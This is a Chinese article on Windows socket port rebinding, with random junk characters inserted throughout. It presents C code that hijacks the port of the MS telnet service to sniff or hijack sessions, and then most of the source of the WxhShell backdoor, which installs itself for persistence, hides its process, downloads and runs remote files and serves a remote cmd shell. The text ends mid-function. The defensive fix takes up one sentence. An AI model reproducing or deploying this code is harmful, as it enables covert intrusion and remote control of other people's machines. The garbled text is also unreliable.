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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^2EhlK^) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Yrxk Kw# LKx` v90p saddr.sin_family = AF_INET; fJy)STQ4 .#0H{mk saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'd/*BjNp) tw<P)V\h bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /g@^H/DO K\(6rS}N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G6V/S aD V.8%|-d 这意味着什么?意味着可以进行如下的攻击: Me,<\rQ !MoOKW 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Yl~$V( m;o4Fu 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ($62o&I *g_w I%l 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UW6VHA> =WK04\H 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 e[{mVhg4E 89Z#|#uM5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d; =u !^iwQ55e2A 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2 z7}+lH qfYG.~`5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w{`Acu =u=Kw R #include qnJ50 VVW #include 99u/fk L #include .x-J44i@/ #include &yU>2=/T DWORD WINAPI ClientThread(LPVOID lpParam); IP ,.+:i int main() @7W?8 { qSTW b% WORD wVersionRequested; `\N]wlB2/b DWORD ret; Jf_%<\ O WSADATA wsaData; <bUXC@3W BOOL val; d>|;f SOCKADDR_IN saddr; q@l(Qol SOCKADDR_IN scaddr; m[:K"lZ
]2 int err; uv]{1S{tb SOCKET s; s8vKKvs`9 SOCKET sc; \|%E%Yc int caddsize; OCNPi4 HANDLE mt; =K(JqSw+M DWORD tid; fx)KNm8Lx wVersionRequested = MAKEWORD( 2, 2 ); I\zemW! err = WSAStartup( wVersionRequested, &wsaData ); &RO7{,`
if ( err != 0 ) { '#D8*OP^ printf("error!WSAStartup failed!\n"); I]R9HGJNlJ return -1; 6G of.:"f } TSjIz5 saddr.sin_family = AF_INET; g
jxS :q
(&$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ',)7GY/n~ fF;h V saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ur!~<4GO saddr.sin_port = htons(23); eT[&L @l]b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H0>yi[2f { f~ZEdq8 printf("error!socket failed!\n"); fu4!t31 return -1; 0V`[Zgf } 8lP6-VA val = TRUE; L:@fP~Erh //SO_REUSEADDR选项就是可以实现端口重绑定的 @AQwr#R"l if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `}fw1X5L { BBnq_w"a printf("error!setsockopt failed!\n"); 7-*=|gl+ return -1; rs]I } HBiBv-=, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u =J&~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q0./O|Dj //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5 1dSFr<# `1+F,&e if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fS=hpL6]@ { iw\%h9 ret=GetLastError(); tFM$#JN printf("error!bind failed!\n"); QyGnDomQ return -1; ;Vu5p#,O<M } zT#`qCbT'J listen(s,2); :]WqfR)# while(1) 0*F}o)n/m { sKL:p3r caddsize = sizeof(scaddr); R_N:#K.M //接受连接请求 Y;
).+si sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }6]0hWsN[ if(sc!=INVALID_SOCKET) `u
XQ z7 { X2yTlLdY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XP3xJm3 if(mt==NULL) p|[B
=.c{ { l]6%lud8_ printf("Thread Creat Failed!\n"); _}gtcyx break; nwmW.(R4 } GF$`BGW } 9 OT,TpA CloseHandle(mt); N#ioJ^}n: } eQDX:b closesocket(s); 3EK9,:<Cf WSACleanup(); L,LNv return 0; M;.ZM<Ga } )r tomp:X DWORD WINAPI ClientThread(LPVOID lpParam) o:p
*_>& { 1G^#q,%X_v SOCKET ss = (SOCKET)lpParam; GJA`l8`SQ SOCKET sc; ae+*=, unsigned char buf[4096]; yj_4gxJ\ SOCKADDR_IN saddr; o{WyQ&2N long num; n<7q`tM# DWORD val; F]+~x/! DWORD ret; j/!H$0PN //如果是隐藏端口应用的话,可以在此处加一些判断 q(IQa@$SR //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 @n+=vC.xO saddr.sin_family = AF_INET; ?cy4&]s saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z-T{~{q saddr.sin_port = htons(23); pv,45z0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5h{`<W { 6iA( o*'Yn printf("error!socket failed!\n"); "Cz<d w]D return -1; k G0Yh2;# } c&nh>oN val = 100; d+fSoSjX8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PnYBy| yl { H17-/|-;0! ret = GetLastError(); 7'lZg<z{~j return -1; 2kh"8oQ } gm"#:< ) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b #fTAC;< { Ea $aUORm ret = GetLastError(); WT\<.Py return -1; YN/}9. } j+IrqPKC^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &qM[g9 { gABr@>Vv printf("error!socket connect failed!\n"); >SbK.Q@ei closesocket(sc); sW@krBxMv closesocket(ss); 6<76H return -1; ~NcQ1. } aM3gRp51cj while(1) BMyzjteS+ { 7:E!b=o# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <%?#AVU[ //如果是嗅探内容的话,可以再此处进行内容分析和记录 o4y']JSN //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p
*w$:L num = recv(ss,buf,4096,0); eD?3"!c! if(num>0) @OpNHQat9 send(sc,buf,num,0); dt\jGD else if(num==0) rf&M!d}! break; Cfu=u *u num = recv(sc,buf,4096,0); qoMfSz"( if(num>0) :mcYZPX# send(ss,buf,num,0); D<$XyP else if(num==0) 07v!Zj break; 5*g]qJF } xg@NQI@7 closesocket(ss); 5s{j=.O closesocket(sc); Y"g.IK`V return 0 ; $.%rAa_H } AnBJ(h G\d$x4CVGc 8jlLUG:g ========================================================== Z~ 4'1m4Ugg 下边附上一个代码,,WXhSHELL !U%T&?E l :iWS\G^U ========================================================== fh8j2S9J ~Ou1WnmO #include "stdafx.h" x Gk6n4Gg o+B:#@9? #include <stdio.h> k44Q):ncY7 #include <string.h> 5*%#o #include <windows.h> `_ %S #include <winsock2.h> aW_oD[l #include <winsvc.h> PUJ2`iP1^3 #include <urlmon.h> 68fiG G"5D< ] #pragma comment (lib, "Ws2_32.lib") Lo.rvt
#pragma comment (lib, "urlmon.lib") t&q N: J 2-*V=El #define MAX_USER 100 // 最大客户端连接数 q/9H..6 #define BUF_SOCK 200 // sock buffer T=f|,sK +7 #define KEY_BUFF 255 // 输入 buffer Jb_1LZ)] `O?T.p) #define REBOOT 0 // 重启 Uh
eC #define SHUTDOWN 1 // 关机 oTjyN\?H 2NGeC0= #define DEF_PORT 5000 // 监听端口 p/Sbt/R uQ$^;Pr #define REG_LEN 16 // 注册表键长度 :'L2J #define SVC_LEN 80 // NT服务名长度 CbBSFKM /wShUR{ // 从dll定义API eYUr-rN+)z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
uE/T2BX* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {~GYj%-^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Rgy-OA typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f>o,N{| ,QIF & // wxhshell配置信息 [jdFA<Is struct WSCFG { 2zSG&",2D int ws_port; // 监听端口 o Pci66 char ws_passstr[REG_LEN]; // 口令 QS.>0i/7l int ws_autoins; // 安装标记, 1=yes 0=no lf<S_2i char ws_regname[REG_LEN]; // 注册表键名 ZIR0PQh\ char ws_svcname[REG_LEN]; // 服务名 P;[OWSR[d char ws_svcdisp[SVC_LEN]; // 服务显示名 1F'1>Bu~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 -Y#sI3o*R8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8M,9kXq{L int ws_downexe; // 下载执行标记, 1=yes 0=no _ZB\L^j) char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Gl %3XdU char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TcTM]ixr KOq;jH{$ }; moj]j`P5a /
O/`< // default Wxhshell configuration 7M_U2cd|TD struct WSCFG wscfg={DEF_PORT, RgdysyB "xuhuanlingzhe", YpAg 1, |'ln?D:& "Wxhshell", 8b.u'r174 "Wxhshell", WW2Ob* "WxhShell Service", ?<&O0'Q "Wrsky Windows CmdShell Service", kqYa*| l "Please Input Your Password: ", fA%z*\ 1, 3ya1'qUC " http://www.wrsky.com/wxhshell.exe", 5RH2"*8T "Wxhshell.exe" k#Of]mXXz }; s`j~-P %
}|cb7l // 消息定义模块 .MW@; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &;,,H< p char *msg_ws_prompt="\n\r? for help\n\r#>"; 1(Y7mM8\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; m"\:o char *msg_ws_ext="\n\rExit."; .o1^Oh char *msg_ws_end="\n\rQuit."; 1% F?B-k char *msg_ws_boot="\n\rReboot..."; <$w?/y/' char *msg_ws_poff="\n\rShutdown..."; 7'-Lp@an char *msg_ws_down="\n\rSave to "; 9j]sD/L5q HmfG$Z char *msg_ws_err="\n\rErr!"; Xv <G-N4 char *msg_ws_ok="\n\rOK!"; a {}|Bf< <}U'V}g char ExeFile[MAX_PATH]; hv 6@Jr3 int nUser = 0; _Y=2/*y^ HANDLE handles[MAX_USER]; l\AMl
\ int OsIsNt; _I`,Br:N heaR X4 SERVICE_STATUS serviceStatus; 1aVa0q< SERVICE_STATUS_HANDLE hServiceStatusHandle; :WI.LKlo~ pMg3fUIM // 函数声明 \;-fi.Hrf$ int Install(void); |6UtW{2I/
int Uninstall(void); \$aF&r<R int DownloadFile(char *sURL, SOCKET wsh); ;=j@,
yu int Boot(int flag); V@7KsB void HideProc(void); K3uG2g(>2 int GetOsVer(void); oRKEJNps int Wxhshell(SOCKET wsl); kg][qn|>J] void TalkWithClient(void *cs); jV#ahNq; int CmdShell(SOCKET sock); lkyzNy9R int StartFromService(void); Mypc3 int StartWxhshell(LPSTR lpCmdLine); &R|/t:DN M<SdPC(+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &1l=X]% VOID WINAPI NTServiceHandler( DWORD fdwControl ); Iz6y{E WwF~d+>|C // 数据结构和表定义 )15Z#`x SERVICE_TABLE_ENTRY DispatchTable[] = ONNpiK- { ,:~0F^z {wscfg.ws_svcname, NTServiceMain}, 6)oLus {NULL, NULL} 4Wy<?O2 }; A7!g 72sD0)?A // 自我安装 6C>_a*w int Install(void) PiV7*F4qI. { n9pN6,o+ char svExeFile[MAX_PATH]; E_F5(xSA HKEY key; kt[:@Nda9 strcpy(svExeFile,ExeFile); wxm:7$4C tx"sH]n // 如果是win9x系统,修改注册表设为自启动 lnovykR if(!OsIsNt) { ;U1UFqZ` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kyAXRwzI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Am8x74? RegCloseKey(key); [s9O0i"
Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @prG%vb" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9_\'LJ RegCloseKey(key); 6.5T/D*TT return 0; lPLz@Up~ } _|72r}j } A^ _a3$,0 } OA:%lC! else { {T"0DSV O8|5KpXd@ // 如果是NT以上系统,安装为系统服务 KZ!3j_pKy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nd;fy$<J\ if (schSCManager!=0) d!KsNkk { 2^t#6XBk/ SC_HANDLE schService = CreateService +(xeT+J ( vA$o~?a]/ schSCManager, `X,yM-( wscfg.ws_svcname, rC:?l(8ng3 wscfg.ws_svcdisp, L,d
LE-L SERVICE_ALL_ACCESS, TI9UXa:V\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <<D$+@wxm SERVICE_AUTO_START, =n^!VXaL]] SERVICE_ERROR_NORMAL, c4_`Ew^k svExeFile, [Q\GxX. NULL, ?u4INZ0W NULL, <Dx]b*H NULL, ^:9$@+a NULL, 0Io'bF NULL $?,a[79 ); Tirux ; if (schService!=0) /h v4x9 { k3+e;[My+ CloseServiceHandle(schService); Rwr 2gMt7 CloseServiceHandle(schSCManager); )s1Ib4C strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kc/{[ME strcat(svExeFile,wscfg.ws_svcname); ;"O&X<BX- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h._nK\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k{gLMl RegCloseKey(key); C^QtSha return 0; O62b+%~F } pV6d
Id } yq+!czlZ CloseServiceHandle(schSCManager); Z/^ u } &a/__c/l } 1!pa;$L r>jC_7 return 1; }HE6aF62O } sC[yI Up
^ kST
// 自我卸载 .(J?a" int Uninstall(void) {0! ~C=P { bYz&P`o} HKEY key; Zo KcJA ~&\ f|% if(!OsIsNt) { @!&}}"< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DK0.R]&4( RegDeleteValue(key,wscfg.ws_regname); T[=S$n-' RegCloseKey(key); FWH}j0Gj| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j3q~E[Mz\ RegDeleteValue(key,wscfg.ws_regname);
E7Cy(LO RegCloseKey(key); rF\"w0J_ return 0; SWp1|.=Sm } zqDR7+] } ogFKUD*h&> } x{NX8lN else { 56l@a{ " P)*FT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8q`$y$06Dk if (schSCManager!=0) ^-FRTC { |[9?ma SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CF|]e: if (schService!=0) GE|+fYVM-$ { WvHw{^(lF if(DeleteService(schService)!=0) { (HoqR CloseServiceHandle(schService); ,G#.BLH
cX CloseServiceHandle(schSCManager); g'];Estb~ return 0; 1 nvTce } .qk]$LJF7 CloseServiceHandle(schService); eMRar<)+#* } `.y}dh/+0W CloseServiceHandle(schSCManager); d--y } %+ZJhHT } $,xnU.n bqanFQj return 1; O4<g%.HC6 } r%DFve:% 50dGBF // 从指定url下载文件 P;PQeXKw int DownloadFile(char *sURL, SOCKET wsh) iR$<$P5 { K^r)CCO HRESULT hr; 7u\*_mrv char seps[]= "/"; x\2?ym@ char *token; $8l({:*q0 char *file; [OOS`N4< char myURL[MAX_PATH]; GRy-+#,b" char myFILE[MAX_PATH]; *&AfR8x_z {{C`mgC strcpy(myURL,sURL); ::n;VY2& token=strtok(myURL,seps); P,ua<B}L while(token!=NULL) bslrqUk_`= { Y2o6kS{x file=token; )Qm[[p nj token=strtok(NULL,seps); "uLjIIl } +!f=jg06 ?muzU.h"z GetCurrentDirectory(MAX_PATH,myFILE); B=
keBO](@ strcat(myFILE, "\\"); %LXM+<N8 strcat(myFILE, file);
"o& E2# send(wsh,myFILE,strlen(myFILE),0); (wc03,K^ send(wsh,"...",3,0); +l^LlqA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
5-)#f? if(hr==S_OK) >h Y"
3 return 0; |}){}or else 6io , uh! return 1; UZ8?[ -st7_3 } U $Qv>7 Hn,:`mj4-6 // 系统电源模块 K.gEj*@ int Boot(int flag) @?C#r.vgp { * y^OV_n-8 HANDLE hToken; ,2oF:H TOKEN_PRIVILEGES tkp; R~bC,`Bh ,n!vsIN if(OsIsNt) { tgL$"chj@x OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D[O{(<9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?}Z1(it0 tkp.PrivilegeCount = 1; E2GGEKrW tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iAY!oZR(WT AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \yrisp#` if(flag==REBOOT) { :hGPTf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _wb0'xoK" return 0; 93[DAs } k
{- else { k\Q,h75 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d@mo!zu return 0; 2A4FaBq" } 8\<jyJ } p}Fs'l?7Rq else { wix5B@ if(flag==REBOOT) { Li 2Zndp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %tA57Pn> return 0; F>]#}_ } eUS else { 'H9=J*9oG if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VcK}2<8:+~ return 0; NGYyn`Lx } >k']T/% } =1dI>M>tm vUC!fIG return 1; 9Qj2W } 3+MB5T D:ql^{~ // win9x进程隐藏模块 }QX2:a void HideProc(void) X]3l| D { Cg]3(3 $ uz1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oP43 NN~ if ( hKernel != NULL ) 4U LJtM3 { Z=e[
!c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Allt]P> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1`2);b{@ FreeLibrary(hKernel); onWYT} c{ } q>D4ma^ %+t return; 6,V.j>z } xy-$v WcZo+r // 获取操作系统版本 Hz!U_? int GetOsVer(void) k
vue@ { ~q'w),bE"Q OSVERSIONINFO winfo; -Z/6;2Q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^cPo{xf GetVersionEx(&winfo); @>
+^< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ||*&g2Y return 1; @]y{M; else Lv, ji_ return 0; YQB]t=Ha } x]%4M\T`` 1S)0
23N // 客户端句柄模块 5w,YBUp int Wxhshell(SOCKET wsl) ZhJ|ZvJ { 9`gGsC SOCKET wsh; @tjZvRtZ struct sockaddr_in client; 'wT./&Z DWORD myID; yaYIgG a dz;N;rIY while(nUser<MAX_USER) -;/@;W { qu#@F\gX int nSize=sizeof(client); ./BP+\)lO wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YiI:uG!|D if(wsh==INVALID_SOCKET) return 1;
$V {- @= P7BJ?x handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0t:|l@zB if(handles[nUser]==0) #`6OC)1J closesocket(wsh); -SC2Zgi)A else fXXm@tMx> nUser++; [}xIg8 } 5x1jLPl' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aD2CDu 6!}m$Dvt~ return 0; i$LV44 } h?pGw1Q (EF$^FYPK // 关闭 socket l<)JAT;P void CloseIt(SOCKET wsh) Kjca>/id { gQ+_&'C closesocket(wsh); EBn:[2 nUser--; "*>QxA%c4 ExitThread(0); Z]> e & N } "d^lS@~ px(1Ppb9 // 客户端请求句柄 Om?:X!l" void TalkWithClient(void *cs) MT#[ -M\ { a~N)qYL: <812V8<! SOCKET wsh=(SOCKET)cs; @ : char pwd[SVC_LEN]; c,s<q j char cmd[KEY_BUFF]; &B5Rzz-' char chr[1]; Sm I8&c int i,j; ()IgSj?, 1.OXkgh while (nUser < MAX_USER) { u #QSa$P 1p5q}">z if(wscfg.ws_passstr) { v_F?x! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t-ReT_D|; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1nM?>j%k //ZeroMemory(pwd,KEY_BUFF); P*^UU\x'4I i=0; >a]
s while(i<SVC_LEN) { k}a!lI: 0BwQ!B. // 设置超时 Zo6a_`)d fd_set FdRead; E6IL,Iq9 struct timeval TimeOut; %RF FD_ZERO(&FdRead); &7y1KwfXn FD_SET(wsh,&FdRead); oTa+E'q TimeOut.tv_sec=8; M(f*hOG{Y TimeOut.tv_usec=0; Fl(ZKpSZU int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2OOj8JS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R$'nWzX# Qz90 mb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MhB=+S[@ pwd =chr[0]; j:<T<8.o if(chr[0]==0xd || chr[0]==0xa) { 5UD;ZV% pwd=0; 2F)OyE break; $R}iL } SxQDqoA~ i++; WQ`P^5e } ;7{wa]
UVRV7^eTe // 如果是非法用户,关闭 socket !Dn1pjxc if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :<G+)hIK } H0Xda.Y( <^$b1<@ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )n61IqrW send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :EAfD(D{) NY
w(hAPv while(1) { ;{u#~d} 5w%9b ZeroMemory(cmd,KEY_BUFF); C3Z(k} h.%Qn vL // 自动支持客户端 telnet标准 jh!IOtf j=0; BU .G~0 while(j<KEY_BUFF) { #.K&]OV/88 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {_D'\i(Y_ cmd[j]=chr[0]; n m$G4Q if(chr[0]==0xa || chr[0]==0xd) { x?$Y<=vT cmd[j]=0; SaScP break; 3Sb%]f5( } K1yM'6Zw j++; pfIvBU? } ^E8Hv FiH!)6T // 下载文件 $:P~21, if(strstr(cmd,"http://")) { p_N=V. w send(wsh,msg_ws_down,strlen(msg_ws_down),0); p#I1l2nE if(DownloadFile(cmd,wsh)) L3Iz]D3s send(wsh,msg_ws_err,strlen(msg_ws_err),0); VdrF=V&] O else @J)vuGS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jP]'gQ!-w } ~nlY8B( else { ,4UJ|D=J -4a&R=%p switch(cmd[0]) { u-<s@^YG q3:'
69 // 帮助 sRG3`>1 case '?': { "d\8OOU send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =ye}IpC*M break; \/G Y0s }
p5hP}Z4r // 安装 _E 8SX
v case 'i': { #pK) if(Install()) lDXH<W? send(wsh,msg_ws_err,strlen(msg_ws_err),0); C $;~= else n40Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *l}
0x@ break; ;U4X
U } 4]R3*F // 卸载 =+WFx3/ case 'r': { iE5^Xik, if(Uninstall()) )$i3j
1[; send(wsh,msg_ws_err,strlen(msg_ws_err),0); >aK&T" else ^m9cEl^:nQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,%^0 4sl break; gsH_pG-jU } c9'b`# ' // 显示 wxhshell 所在路径 [8n4lE[)" case 'p': { fE iEy%o char svExeFile[MAX_PATH]; j|9 2
g strcpy(svExeFile,"\n\r"); )*B.y|b# strcat(svExeFile,ExeFile); "M]]H^r5 send(wsh,svExeFile,strlen(svExeFile),0); D1a4+AyI break; FS0SGBo } :csLZqn[ // 重启 B'yrXa|P case 'b': { e$Ej7_.#; send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yy]Henw; if(Boot(REBOOT)) UWp(3FQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); &M0v/!%L else { 3ly|y{M", closesocket(wsh); RY&~{yl$"1 ExitThread(0); &H6Fkza;4 } n&^Rs)%v break; BH^q.p_#>X } O B:G5B` // 关机 @NZ?D0" case 'd': { uWSG+ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P_}$|zj7 if(Boot(SHUTDOWN)) y!j1xnzki send(wsh,msg_ws_err,strlen(msg_ws_err),0); r QF%; else { Ru/3>n closesocket(wsh); ,fbO} ExitThread(0);
^B<jMt } G7u7x?E:B` break; gg =z.`} } IlY,V // 获取shell e2>gQ p/ case 's': { l\H9Io3 CmdShell(wsh); z
'j%.Dd8 closesocket(wsh); \|kU{d0 ExitThread(0); (q
utgnW break; 1mf_1spB } -<.>jX // 退出 HRk+2'wjAz case 'x': { C]}0h!_V send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
X@B+{IFC CloseIt(wsh); 3=z'Ih` break; a83o(9 } u >x2 // 离开 9.<$&mVk7` case 'q': { U`D"L4},. send(wsh,msg_ws_end,strlen(msg_ws_end),0); F$.M2*9 closesocket(wsh); NWFZ:h@v WSACleanup(); %"o4IYV# exit(1); +:D0tYk2B break; l-5-Tf&j } ]:F]VRPT } 0&<{o!>k } :iq1-Pw -)w/nq // 提示信息 s:M:Ff if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ezFyd 'P } XBBsdldZ } Xf:-K(%e X)\t=><< return; P'zA=Rd&~> } `CW =*uBH V;.=O}Lr // shell模块句柄 p=p,sJ/@ int CmdShell(SOCKET sock) {whR/rX` { LFtnSB8 STARTUPINFO si; t~e.LxN ZeroMemory(&si,sizeof(si)); &6h,' U si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xq9%{'9 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (.Sj"6+ PROCESS_INFORMATION ProcessInfo; RxcX\: char cmdline[]="cmd"; 0&zp9(G5 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *r=6bpi return 0; lRn>/7sg$ } p9fx~[_5/ g\d|/HVK // 自身启动模式 T=9+ int StartFromService(void) o[aRG7C { uPt({H typedef struct ~#Vrf0w/ { G8H=xr# DWORD ExitStatus; bDRl}^aO6 DWORD PebBaseAddress; 9/`T]s" DWORD AffinityMask; *$Bx#0J8 DWORD BasePriority; <t\!g ULONG UniqueProcessId; (6!W8x7 ULONG InheritedFromUniqueProcessId; 5@6F8:x}V } PROCESS_BASIC_INFORMATION; ,x&T8o/a ~}+F$& PROCNTQSIP NtQueryInformationProcess; &i$p5 RX \%R static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l*^c?lp) static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "K;f[&xO,o %xPJJ$P HANDLE hProcess; ZuH@qq\ PROCESS_BASIC_INFORMATION pbi; ) 7w%\i{M oP!oU2eqK HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2Jm#3zFYz3 if(NULL == hInst ) return 0; \2#7B8 v4OroG=^ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z^wogIAV g_pGetModuleBaseName = 